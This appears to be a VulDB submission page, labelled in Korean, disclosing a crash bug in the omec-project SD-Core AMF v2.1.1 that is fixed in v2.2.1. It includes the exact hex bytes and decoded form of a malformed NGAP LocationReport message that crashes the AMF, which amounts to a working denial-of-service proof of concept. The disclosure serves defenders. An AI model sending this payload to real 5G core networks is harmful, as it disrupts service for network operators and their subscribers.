| 제목 | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| 설명 | If a malformed LocationReport is sent to AMF it crashes. Invalid memory address or nil pointer dereference.
Sending this following LocationReport NGAP message
00 12 00 1C 80 00 01 00 00 00 02 00 00 00 01 00 02 00 00 00 00 00 03 01 80 00 00 01 40 02 08 00
initiatingMessage : { procedureCode 18, criticality reject, value LocationReport: { protocolIEs { { id 0, criticality reject, value '0000'H } } } }
This will crash the AMF
AMF Version: v2.1.1
Developers have acknowledged the issue and it has been fixed in v2.2.1
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| 원천 | ⚠️ https://github.com/omec-project/amf/issues/672 |
|---|
| 사용자 | shovon0203 (UID 96191) |
|---|
| 제출 | 2026. 04. 23. PM 05:09 (5 개월 ago) |
|---|
| 모더레이션 | 2026. 05. 11. PM 06:28 (18 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 362663 [omec-project amf 까지 2.1.1 NGAP Message 메모리 손상] |
|---|
| 포인트들 | 20 |
|---|